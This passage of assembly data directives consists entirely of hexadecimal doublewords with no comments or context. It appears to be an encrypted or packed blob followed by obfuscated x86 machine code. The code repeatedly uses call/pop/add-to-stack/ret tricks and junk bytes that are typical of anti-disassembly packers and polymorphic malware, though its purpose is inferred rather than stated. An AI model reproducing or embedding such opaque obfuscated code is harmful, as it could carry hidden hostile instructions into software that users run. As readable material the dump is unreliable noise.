27024906h, 735BEAE0h dd 0CAE387F2h, 22E663EDh, 0A33A738Eh, 44B6B8CFh, 0A9D64182h dd 70E247DAh, 0CB87032Fh, 22E663A9h, 68AEEFCBh, 59C4D537h dd 0AC0A92FBh, 7C87FFFDh, 71B563B6h, 0E0687C27h, 0ABBF3A1Ah dd 90E247E3h, 228C3BD9h, 22E58BBFh, 7CC663F4h, 566F3DB9h dd 66676719h, 22F267BAh, 74A0634Fh, 97191F64h, 27024526h dd 0CAB56383h, 22E663F7h, 7925385Ah, 26C23FB4h, 26C2271Fh dd 22E66359h, 0CD2530E4h, 0A980A9D7h, 1263EE3Ah, 48E38499h dd 210E317Ah, 2E6633Dh, 0ABBCA0C4h, 0A3E2471Bh, 36E247E3h dd 60E663D3h, 0ABA6A0BBh, 0C6CAB661h, 0AB369C7Fh, 0C6E4C6B8h dd 77E6099Bh, 22E660A7h, 0E1BB43A7h, 68AEA8Eh, 6A2E2EDh dd 22E67BF0h, 0E1B3267Ah, 0F47C7AF4h, 6B63A52Ch, 65E38765h dd 0FD9F96CFh, 0A3B8311Ch, 674E47DDh, 228C06E6h, 22E58B2Fh dd 7FC6633Dh, 4E6F3E5Dh, 6667676Bh, 22FB6783h, 77A363D3h dd 0B19B902Ah, 463AA6BAh, 0DDD22E36h, 0C6C09688h, 9353E89Bh dd 0AFE38747h, 0C58B5322h, 70E609D6h, 22E66001h, 0E1BC43F4h dd 6B2EA20h, 6A2E239h, 22E67F9Ah, 0E1B4214Fh, 0FBE3FC09h dd 867A5522h, 5773EA0Eh, 0DDE387FBh, 0F16D05AAh, 22EF8B5Dh dd 35B1639Eh, 0D57FC9A7h dd 44E09BB3h, 0CA68B152h, 22E38BB2h, 0B7C163F4h, 0CBBC8022h dd 22E66336h, 0A3FCE833h, 3F7D8E11h, 78309C81h, 0DF63EAB2h dd 0A9E387F5h, 0C6F6AA79h, 48369C7Fh, 210E303Dh, 2E6639Eh dd 0ABBDA014h, 0A3E247FBh, 37E24797h, 61E663E9h, 19C3A0A7h dd 0A7E9031Ah, 22E6633Dh, 0BF6D0262h, 27026032h, 0B200E2C6h dd 0AB8F3B4Ch, 0C6CC426Ch, 74E609F1h, 22E66092h, 0E1B8433Dh dd 692EAC0h, 6A2E24Bh, 22E678A3h, 0E1B025D3h, 998D2BEAh dd 90485E4Bh, 483EEF1Ch, 210E313Dh, 2E6639Eh, 0ABBCA015h dd 0A3E247F3h, 37E24797h, 60E663E9h, 0E0E2A0A6h, 228C675Eh dd 22E58B6Ch, 7BC6639Eh, 6E6F3A8Ch, 66676783h, 22F367F7h dd 73A763E9h, 285D6537h, 5E626CBAh, 0CAE6633Eh, 22E6638Ah dd 8435DE17h, 0BA9DC62Ch, 1C34C4A3h, 8CDE6CA5h, 0B7D51F73h dd 3F27D653h, 0E4BC66D9h, 0C6CC2A1Bh, 228C2C4Ah, 22E58BF7h dd 7AC663D3h, 666F3B2Ah, 666767D0h, 22FB675Eh, 72A6633Dh dd 0FBF2055Dh, 0B0D02CCDh, 749352D7h, 22E6733Ah, 0D1F7D6E9h dd 0E1689333h, 0DF2FBD5Dh, 0C8EAC70Eh, 7F8E3A32h, 0CA99EA19h dd 22E663ACh, 0D1DC32D0h, 0F1A906CFh, 0A97151CCh, 266739A9h dd 0D5F00419h, 2B73EAA1h, 0DDE3874Eh, 0C6C09612h, 71E609D6h dd 22E66001h, 0E1BD43F4h, 6BAEA21h, 6A2E239h, 22E6769Ah dd 0E1B5204Fh, 9F6F78C3h, 27024A1Ah, 4FD6E664h, 228C6613h dd 22E58B2Ah, 7AC6633Dh, 666F3B5Dh, 6667676Bh, 22FD6783h dd 72A663D3h, 48B6B22Ah, 859A184Dh, 976F0304h, 27027FC4h dd 22E3E791h, 0D95E634Fh, 43D05D57h, 228CB32Ch, 22E58BBFh dd 7CC663F4h, 566F3DB9h, 66676719h, 22F267BAh, 74A0634Fh dd 0A9B19264h, 0C6E9026Eh, 97D739ECh, 2702775Dh, 48C2A3F9h dd 210E323Dh, 2E6639Eh, 0ABBFA016h, 0A3E247EBh, 3FE24797h dd 63E663E9h, 27A8A0A5h, 590C9678h, 2A3AEA4Ah, 0A76F9915h dd 27026216h, 0A76DA92Dh, 270249F2h, 0CAB46383h, 22E663F7h dd 7825395Ah, 26C237B4h, 26C2271Fh, 22E66357h, 232531E5h dd 8E4C0E8Dh, 104FDE62h, 0BF6D6610h, 27027F87h, 0CAB36357h dd 22E6639Dh, 7F253E6Fh, 26C20F2Eh, 26C22752h, 22E663FFh dd 212536B1h, 0A380C903h, 61EC3AF3h, 0CAB463F4h, 22E6634Ch dd 78253987h, 26C2375Ah, 26C22768h, 22E663EFh, 1A253138h dd 78DB70ADh, 44BC7984h, 0DA8EB5CEh, 228C782Ch, 22E58B83h dd 7AC663E9h, 666F3B37h, 6667675Eh, 22F36719h, 72A6639Eh dd 9450588Ch, 0CAFDE868h, 22E663C7h, 20CDB40h, 209EE10Ch dd 9CCF7F50h, 31F94095h, 1D3BDB5Ch, 6F6BD929h, 0ABFDE8F8h dd 0C6EB266Eh, 2D3E50ECh, 22E66B73h, 9FEF347Ah, 27027540h dd 0B76D03C4h, 27024BA2h, 3383EE2Eh, 0AB876637h, 0C6C6FA74h dd 0A7209FF1h, 27024933h, 73E6097Ah, 22E66076h, 0E1BF434Fh dd 6AAEAFEh, 6A2E2D7h, 22E676EDh, 0E1B722F4h, 0FE8E88DBh dd 2D661CE5h, 22E66919h, 0A5E9034Fh, 22E663A7h, 0A38702B3h dd 262B47EDh, 971954ABh, 2702458Fh, 22E66AD5h, 4DF5F99Eh dd 2F5B196Dh, 0A76F24C5h, 270279B2h, 1263EEB3h, 0CBE38499h dd 22E66372h, 0EE675BA5h, 0BFA75194h, 228CB3B0h, 22E58BF2h dd 7FC663D3h, 4E6F3E2Ah, 666767D0h, 22FE675Eh, 77A3633Dh dd 60C2E15Dh, 0A76F9CCAh, 270248D2h, 0CAB363B9h, 22E663EAh dd 7F253ED4h, 26C20FF3h, 26C227BCh, 22E66387h, 3525360Ah dd 67126821h, 0A4E903FBh, 22E663ECh, 0D816E292h, 0CC6705A8h dd 6287BFD0h, 22E0E691h, 976F634Fh, 270270BEh, 0F36D6358h dd 330F6362h, 4E663F4h, 0DC3404B2h, 0B46F0247h, 0C02DA561h dd 0A7BB1BBh, 373E62Eh, 228C6637h, 22E58BBCh, 7FC663F4h dd 4E6F3EB9h, 66676719h, 22FF67BAh, 77A3634Fh, 0CAB55D64h dd 2D4C5305h, 22E6676Eh, 6F5C05F4h, 23C48A57h, 228C633Dh dd 22E58BCCh, 78C6634Fh, 766F3964h, 666767F7h, 22F367CDh dd 70A463F4h, 0AF190AB9h, 0C5791AB8h, 0A980F39Bh, 44863398h dd 4218CC1Fh, 13E93183h, 0E16D3BB3h, 44760295h, 0DD3992C0h dd 0C6C25AA8h, 6F6BE89Bh, 0CAE3875Dh, 22E663ADh, 0E3E3B4B7h dd 89958056h, 0C867D699h, 7D75D8A5h, 5D7BEE63h, 48E38401h dd 210E364Fh, 2E663A7h, 0ABBBA08Eh, 0A3E24785h, 3FE247B0h dd 67E6637Ah, 0A341A068h, 4D827EBFh, 4439A9E2h, 0A5FFE2Eh dd 73756637h, 22E66B01h, 7AE485F4h, 0AAD708Ch, 5862D9E9h dd 7BB840DCh, 709CD91Fh, 0DA752A4Ah, 0FD5C0543h, 4876334Ah dd 210E31F4h, 2E6637Ah, 0ABBCA067h, 0A3E247CAh, 38E2470Bh dd 60E663A7h, 0BED6A081h, 82C661B7h, 376B50D4h, 0DDE3875Dh dd 0C6EAF2A8h, 74E6099Bh, 22E660A7h, 0E1B843A7h, 692EA8Dh dd 6A2E2EDh, 22E674F0h, 0E1B0257Ah, 819D2511h, 0A76F962Ch dd 27026216h, 22EAE9A8h, 0A3E963D3h, 22E663EFh, 2E53EEDDh dd 0BF6F669Eh, 27027F48h, 8AFE658h, 0ABB566ABh, 0C6C2422Ah dd 26CB0BD6h, 70B65A93h, 22E66A1Ch, 1A32077Ah, 46759080h dd 0BC57A40Bh, 2DD76C11h, 22E66025h, 0D16D05D3h, 26673BB3h dd 2F6631D0h, 3F53E80Bh, 0DDE3873Dh, 0C6C0962Bh, 22EE8B4Ah dd 611C63A7h, 4CFBB0D1h, 0AFBF3352h, 0C58B5371h, 0F0516C7Fh dd 3AFDEB6h, 0F219667Ah, 22E66CA6h, 0F44C4CA7h, 0EAD8D551h dd 22F0DD06h, 0DE10684Ch, 32A3E6F3h, 441A66D9h, 0B638811Fh dd 8AFE689h, 48A16643h, 210E33D3h, 2E663E9h, 0ABBEA0ACh dd 0A3E2473Eh, 38E24779h, 62E6639Eh, 1590A01Fh, 0AB18B092h dd 0E764DD36h, 798E5C0Ch, 0CB2E3A8Fh, 22E6636Ah, 298D9BA2h dd 88AA0845h, 57A6523Ah, 1C9CCEF8h, 0E9C25752h, 488F4887h dd 210E33F4h, 2E6637Ah, 0ABBEA065h, 0A3E247DAh, 3BE2470Bh dd 62E663A7h, 5129A083h, 41ADDFBEh, 3B77EEDFh, 9719669Eh dd 270245C8h, 0CAB663F4h, 22E6634Ch, 7A253B87h, 26C2275Ah dd 26C22768h, 22E663ECh, 6825333Ah, 84932267h, 109BFEB7h dd 0A76B66ABh, 27010E97h, 0CAB063B9h, 22E663EAh, 7C253DD4h dd 26C217F3h, 26C227BCh, 22E66385h, 66253509h, 33173A2h dd 0DDE43248h, 935BE839h, 0ABE387D2h, 0C6F14EFFh, 0A7209A38h dd 270249D7h, 73E6091Ch, 22E6604Fh, 0E1BF43D3h, 6AAEAB0h dd 6A2E2F0h, 22E6757Eh, 0E1B7223Dh, 4AE42125h, 0F5C26ACDh dd 22E6724Eh, 63BC29D3h, 6C53C59Ch, 9CB79C23h, 0BE85337Ah dd 1667043Eh, 3FB071BAh, 22EB8A01h, 79FF63A7h, 53E50553h dd 427DE927h, 0DD820A9Eh, 0C6C096CFh, 0F373E838h, 0AFE387B2h dd 0C58B53CAh, 72E609A2h, 22E6603Bh, 0E1BE43E9h, 6A2EAACh dd 6A2E27Eh, 22E67A39h, 0E1B6239Eh, 4EC76DB3h, 976DB1ABh dd 270246FEh, 228CB316h, 22E58BA4h, 7AC6637Ah, 666F3BFEh dd 666767BAh, 22F1676Bh, 72A663A7h, 360BE210h, 0AB2EE9B7h dd 0C6CC0271h, 70E6097Fh, 22E660D5h, 0E1BC439Eh, 6B2EA15h dd 6A2E2A3h, 22E674D7h, 0E1B421E9h, 2EEF5A3Fh, 22E67193h dd 0B2470B3Dh, 0C6F78FFCh, 24EE6A52h, 1E71E787h, 0E436838Bh dd 0C6CC2A6Ch, 228C34F1h, 22E58B2Ch, 7CC6633Dh, 566F3D5Dh dd 6667676Bh, 22F16783h, 74A063D3h, 0B53B432Ah, 6F73E8EBh dd 4AE38750h, 0A3BF5EBEh, 0B9B0DAF8h, 0A7C257CEh, 48F73EC8h dd 210E32D3h, 2E663E9h, 0ABBFA0ADh, 0A3E24736h, 3FE24779h dd 63E6639Eh, 1AA4A01Eh dd 6BF7A8CCh, 0DAA7045Eh, 413D616h, 976F6610h, 270260BBh dd 4FD6E6B0h, 0AAE96679h, 22E6634Dh, 0F2199712h, 0CAB663B9h dd 22E663EAh, 7A253BD4h, 26C227F3h, 26C227BCh, 22E66386h dd 1925330Fh, 8C3BC278h, 3D7F658h, 0A76F660Dh, 27024E59h dd 0CAB56310h, 22E6633Eh, 792538BEh, 26C23FC6h, 26C22726h dd 22E663CBh, 0A22530AAh, 0C496B223h, 22E66C92h, 314C793Dh dd 51DF6621h, 6C407F56h, 0AF0ED3A5h, 6B63A58Ch, 61E387C3h dd 3547F67Dh, 0C68E669Eh, 72606219h, 22E18BCCh, 70DF634Fh dd 6BCDC85h, 13E93D49h, 22E08A89h, 6D1863F4h, 0B3AA0B28h dd 13E9316Dh, 78873BC4h, 6D2E217h, 1877376Bh, 0CAB763B9h dd 22E663EAh, 7B253AD4h, 26C22FF3h, 26C227BCh, 22E6638Ah dd 2D25320Eh, 413D658h, 228C6637h, 22E58BBFh, 7CC663F4h dd 566F3DB9h, 66676719h, 22F167BAh, 74A0634Fh, 87591064h dd 22F28B34h, 469663E9h, 393F0C64h, 0C8A20501h, 0EB46849h dd 324A8FB1h, 9DB64EDBh, 2926E351h, 0A76B3C89h, 27010ED9h dd 0CAB4639Eh, 22E66379h, 7825391Dh, 26C23717h, 26C227CEh dd 22E663BAh, 0A9253191h, 56D3CD9Fh, 35DA0778h, 0ABB0DD0Dh dd 0B76F6E11h, 270277DFh, 95E9B3B0h, 7363EA6Fh, 48E387F4h dd 210E34E9h, 2E663F4h, 0ABB9A025h, 0A3E24741h, 3BE247DAh dd 65E6634Fh, 0C788A0F0h, 0F5CB9F1Bh, 207EE60h, 0A76B6610h dd 2701FC15h, 0CAB36357h, 22E6639Dh, 7F253E6Fh, 26C20F2Eh dd 26C22752h, 22E663F1h, 0B82536B1h, 0D397DF9Fh, 389BF616h dd 72B6667Ah, 206F6C1Dh, 74E663A7h, 42D76C8Ch, 4386B462h dd 0ABBE3995h, 228C477Eh, 22E58B6Fh, 78C6639Eh, 766F398Ch dd 66676783h, 22F367F7h, 70A463E9h, 0A8DD1E37h, 1B739CAAh dd 48E38719h, 210E339Eh, 2E6634Fh, 0ABBEA0FFh, 0A3E24797h dd 34E247ADh, 62E663F4h, 0AAAFA02Ah, 28676CA4h, 0CBE6639Eh dd 22E6634Ah, 0EF09CE15h, 0A92AE905h, 0AAE93231h, 22E663F7h dd 7D2FDC75h, 0BD85E6B0h, 0A3806679h, 2D9D4BBEh, 0A9B6B018h dd 6E2EA05h, 0DE01BA69h, 885C05A4h, 6FAEA00h, 135FFE14h dd 0B719667Ah, 27026FDEh, 33DFE62Eh, 228C6637h, 22E58BBEh dd 7DC663F4h, 5E6F3CB9h, 66676719h, 22FB67BAh, 75A1634Fh dd 855E3F64h, 9A282CF9h, 2D8B8D30h, 0A721AA4Bh, 27026E7Fh dd 22E66332h, 0CAB163F4h, 22E6634Ch, 7D253C87h, 26C21F5Ah dd 26C22768h, 22E663EDh, 0D525343Dh, 0AA816D97h, 1B739CE9h dd 48E3875Eh, 210E34A7h, 2E663D3h, 0ABB9A0B6h, 0A3E24788h dd 37E2473Eh, 65E6633Dh, 0B108A0C9h, 90E7DD29h, 3AC7E62Eh dd 228C6637h, 22E58BB9h, 7AC663F4h, 666F3BB9h, 66676719h dd 22F067BAh, 72A6634Fh, 5A0AF864h, 3EBBD658h, 2D0F660Dh dd 96E663F4h, 0E1472E49h, 0C51A15Dh, 0D827A52Bh, 0A76DFAC6h dd 2702463Eh, 902DFE5Eh, 616F660Eh, 475BEEF5h, 0AFE38768h dd 0C554C688h, 22D5DA9Bh, 8615634Fh, 225E504Ch, 29E663D3h dd 0E0E51729h, 666D63ECh, 0CAB56F5Eh, 22E6633Dh, 3525E2C5h dd 0ABE6634Fh, 0ABF647FBh, 79F24797h, 82465451h, 0A9069CF4h dd 0DDE2473Eh, 73E609DDh, 22E66076h, 0E1BF434Fh, 6AAEAFEh dd 6A2E2D7h, 22E67EEDh, 0E1B722F4h, 0BD2F03EAh, 0BE157BCBh dd 0A980E82Dh, 22E38BB6h, 10D863A7h, 449DF5BEh, 0E4AABD68h dd 9F6B02ADh, 2701FC19h, 91CBEEB0h, 175E6679h, 117E45E4h dd 0C6F6C622h, 0E32948D6h, 8C9C8003h, 829DE9F8h, 0BD4226E8h dd 8FCBE1AEh, 0EE22E663h, 405B903Fh, 0E983CF59h, 8BA4F305h dd 55006AD9h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h dd 0C3554500h, 858900F2h, 5E42A79h, 1BE9h, 0A840F00h, 60000000h dd 800Fh, 5A530000h, 0C3F96161h, 1840Fh, 0F8F80000h, 6AC08Bh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 959CFDC3h, 4F1A31CFh, 800F76BEh, 1, 0CE9FCh, 983C0000h dd 0BD2ACD7Bh, 183B4D7Dh, 0BD8360FEh, 5E416A1h, 83097500h dd 0E4220DBDh, 19740005h, 0C08B5350h, 4B9B8h, 55858900h dd 8D05E41Ah, 0E6A9529Dh, 5BD3FF05h, 0DBD8358h, 5E422h dd 53501774h, 4B9B8h, 55858900h, 8D05E41Ah, 0E6A5F39Dh dd 5BD3FF05h, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1804h, 0C3524200h, 0CEE0F697h, 53006ACBh, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 0D57F929Fh dd 1880Fh, 8BFC0000h, 18F0FC0h, 0F8000000h, 6AC18B40h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 904FC353h, 0F69FC960h, 899CF318h, 0E41C11BDh dd 4EB05h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 19042444h, 42000000h, 7DAC352h, 0DBE0493Ah, 7E9h, 7FB21A00h dd 54BD0B35h, 6810Fh, 0BD8B0000h, 5E41345h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0B6C35242h, 53093624h dd 81662CBDh, 8DB113F7h, 0E419D585h, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 5110AFC9h dd 0F59D2929h, 5005E41Ah, 0EE9h, 7101F900h, 7FF3C99Ch dd 828E018Ch, 89987C3Eh, 0B58B2404h, 5E40831h, 6A006Ah dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 735770C3h, 0F006AF8h, 0D86h, 8E900h, 33DB0000h, 965BD74Ah dd 858DF1A9h, 5E7B640h, 841B529h, 0C08305E4h, 69958905h dd 5005E423h, 6E96056h, 0ED000000h, 0D0A92724h, 0DCB86685h dd 895F615Dh, 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 0B9B32AC3h, 48E18992h, 89A78D09h dd 0E425EDBDh, 8B006A05h, 8B006AFBh, 0E41531B5h, 0A195FF05h dd 6A05E421h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 8392C353h, 0D639AEB2h, 8DF557D7h dd 0E79E7F9Dh, 0C6816605h, 0D3FFFD01h, 244DB58Bh, 85FF05E4h dd 5E4142Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 16h, 18C35747h, 0B70F7CD5h, 7A6E9F0h, 0E80000h, 5D000000h dd 0B64AED81h, 8D0105E7h, 5E4143Dh, 0D05BD81h, 7D005E4h dd 860F0000h, 1A4h, 0D298589h, 9D8B05E4h, 5E41525h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 68C35747h, 6820Fh dd 0B5010000h, 5E424C5h, 100E381h, 0B5310000h, 5E42575h dd 0CE9h, 25E91B00h, 890E7BFh, 0C168BDF7h, 0FDB0B84h, 0D585h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h dd 0C3554500h, 0E26EA8Eh, 8611FEABh, 13E92DDDh, 99000000h dd 0BA1B9203h, 0C33C5073h, 6F1498Dh, 66E8038Fh, 0BE66837Bh dd 0BD83174Eh, 5E7B496h, 50840F00h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 0D9E6C355h, 9067661Ch, 0E9D68688h, 99h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 69C35242h, 895F7102h dd 1870Fh, 0C7F90000h, 0E7B49685h dd 105h, 63E900h, 0BD8B0000h, 5E41DE1h, 0F3816660h, 8C0FFE75h dd 15h, 0FE8h, 0E3E7E800h, 6D62C3DBh, 9E75C9C6h, 0A06E20D0h dd 85C7615Fh, 5E7B496h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0B1C35242h dd 0CE891h, 0F5630000h, 2948FC1h, 0CA961A2Eh, 5E570B6Ah dd 259D8D5Eh, 0B05E415h, 0E40CC5B5h, 0FF238105h, 6AFFFFFEh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 0AB63C352h, 4D17623Dh, 0BD89E2DDh, 5E40151h dd 66DB8C66h, 5C16E781h, 0F04C3F6h, 5884h, 0CE900h, 7BE30000h dd 2FF5896Eh, 595475DFh, 95FFDB10h, 5E41139h, 10E8h, 0C98D4300h dd 0B42146C2h, 8E50F5F0h, 0DC68C263h, 0F99D8939h, 5E05E429h dd 8E990h, 0B4520000h, 73D81CABh, 5250FC8Eh, 4EE8BF60h dd 52505943h, 585A310Fh, 89905E61h, 0E4074DBDh, 426E905h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 8BB149C3h, 0E41225BDh, 0CDB58B05h, 0B005E403h dd 15950100h, 0E605E416h, 57006A70h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 39EF1924h dd 8B66A865h, 8171E4F3h, 0E9A361CFh, 0D8B60F4Fh, 0B0DBF66h dd 6BAh, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1A04h, 0C3504000h, 0EF8239F2h, 66943AA8h, 8BC30BBFh dd 53006AC3h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 0FB8B6607h, 8904E8C1h, 0E4245185h, 0E2F76605h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 59C35141h dd 0BF66646Ch, 0F18B6E9Ch, 0B58BD82Bh, 5E41F2Dh, 0B8E0F93h dd 0E9000000h, 6, 75028567h, 0BE50BE19h, 17D5CB2Eh, 51006A93h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h dd 0AE87C071h, 0CD4F04BEh, 5B5FF5Bh, 0F05E40Dh, 1385h dd 0EE900h, 0D6DD0000h, 183391D3h, 5F6FE686h, 706EF0E7h dd 10C195FFh, 0F6005E4h, 482h, 62B86600h, 0E88A56D5h, 0B0615Bh dd 0F8BF0F53h, 6A70E65Fh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 0DF22C357h, 0ABA4B08Eh dd 29D741ACh, 0E41641B5h, 0BF71E405h, 5AC757Fh, 830F613Ch dd 288h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 26C35545h, 0B60FE682h, 52006AD8h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 0B5673192h dd 1D61B589h, 6BA05E4h, 0F000000h, 86h, 29C38B00h, 0E4118D95h dd 4E8C105h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 5EC35747h, 218AAC5Eh, 8D9B503h, 0F76605E4h, 56006AE2h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 0E1152109h, 0A0C8599Ch, 13890F38h, 0E9000000h, 0Eh dd 1D0AD90Ch, 51C7FA9Fh, 5B211796h, 0D82B82C8h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 66C35242h, 70F80EB5h dd 81663947h, 5800A3F6h, 0B1BD8Bh, 0D82B05E4h, 18E880Fh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 0B93A46C3h, 7, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 5BC35646h, 0EDCEEAE6h, 0C183CBh dd 1829BD8Bh, 0D93B05E4h, 13A860Fh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 75D901C3h dd 81AD8B2Eh, 0C619AAF7h, 6E9523Eh, 0BB000000h, 1585200Dh dd 8C665FEDh, 858960D9h, 5E40371h, 82C38166h, 0C1F661EEh dd 0E6840F04h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 0F02C357h, 0CBC0A9Eh dd 0F8A5F602h, 0BE5DCF81h, 95FF7CCBh, 5E41139h, 2CB1B58Bh dd 6A5B05E4h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 0DDE8C357h, 0CAEE4C6Fh, 0BE852h dd 203F0000h, 1B4057C7h, 537A4070h, 95895EE4h, 5E42395h dd 6AC32Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h dd 55450000h, 70AB38C3h, 8B0FA430h, 6, 2B199D89h, 343D05E4h dd 0F000008h, 3C86h, 0D9B58B00h, 0E905E419h, 38h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0B3C35040h, 0A4B4B564h dd 2375ACBFh, 0C1B58BDAh, 8905E40Ch, 0E41DB185h, 66C08B05h dd 31B0CF81h, 0D88BC38Bh, 6890Fh, 0B58B0000h, 5E417E1h dd 2D7585C7h, 8BFB05E4h, 6A3ECAh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1D0424h, 51410000h, 0BE6B5DC3h, 0F5F210FAh dd 8B5E625Ah, 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1404h, 0C3514100h, 81FE8B6Ah, 0E40D05BDh, 7D005h, 4D850F00h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 973EC355h, 94AB6C46h, 85FFF78Bh dd 5E40D05h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 0C2C35040h, 0B58BD557h, 5E41741h, 0D05B5FFh, 0BE6605E4h dd 0D781B99Eh, 79C8D601h, 10C195FFh, 858905E4h, 5E41111h dd 5678B890h, 6A1234h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 856F6CC3h, 0A8C5525Ah, 9D8D4AD0h dd 5E7BD78h, 0FFF899E9h, 56006AFFh, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 0B9A53140h, 0FFEEBB8Ch dd 3295B501h, 0B58905E4h, 5E41EE9h, 0E20EBF66h, 7E9h, 20453C00h dd 0DEC2F1CDh, 0BF66C18Bh, 0EBF5637Fh, 4, 5E900h, 85850000h dd 6A4D31F8h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 5FB7C356h, 99CD587Fh, 0CDC4D5D0h dd 0EF8166F5h, 858D64EAh, 5E419D5h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 70C35141h, 958B6072h, 5E42029h dd 2DD8D89h, 906105E4h, 14E851h, 67730000h, 3133F817h dd 1618E3B6h, 0A83F9EEAh, 1148D9AAh, 11E97CA8h, 26000000h dd 65D40F38h, 0EE47BF45h, 0AEC7B193h, 71642F74h, 66505E5Fh dd 90F24DBEh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 15h, 0A5C35545h, 6A006AC7h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 0F677C353h, 0FD8AB80h dd 6AFFBFh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ch, 0D1C35040h, 9423EF63h, 1317C8B6h, 100D8531h, 8D8905E4h dd 5E40449h, 0C058858Dh, 83F505E7h, 6A05C0h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 84A024C3h dd 6437EF17h, 5390FC39h, 33604BBEh, 66505E35h, 6A90F98Bh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 3371C351h, 33C4DFF8h, 0E41BDDBDh, 6A006A05h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 0D8F6C352h, 0E11F813Dh, 12E8FF06h, 6D000000h dd 40349AC7h, 2558671Eh dd 43ED76B8h, 0ED13409Fh, 5EF8533Eh, 6A006A5Eh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 1E79C356h, 896D37BEh, 95FF2D0Ah, 5E421A1h, 0F1B58B53h dd 5F05E419h, 9E7F9D8Dh, 6A05E7h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 0BD8BA6C3h, 5E432D9h dd 6AD3FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h dd 57470000h, 0F4A341C3h, 142D85FFh, 6A05E4h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 353047C3h dd 9BFCEE66h, 81A5BDA2h, 384C8ED6h, 0DEEE91Eh, 0E80000h dd 5D000000h, 0C062ED81h, 6A05E7h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 0D7605EC3h, 490F63B1h dd 6850Fh, 8D890000h, 5E40D5Dh, 0D05BD81h, 7D005E4h, 860F0000h dd 151h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 0CDC35040h, 8D890167h, 5E42725h, 8959D8Bh, 6A05E4h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 627F69C3h, 0FFBAB51h, 58Ch, 8B665000h, 0E3815FF1h, 100h dd 0CEDB523h, 0DB0B05E4h, 5B850Fh, 0BD8B0000h, 5E42419h dd 0BDF4BD83h, 0F0005E7h, 1C84h, 7E900h, 0F9AE0000h, 0D21F5C18h dd 62E9C6h, 830F0000h, 5, 0DDC68166h, 0F485C70Ah, 105E7BDh dd 0F8000000h, 47E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1404h, 0C3534300h, 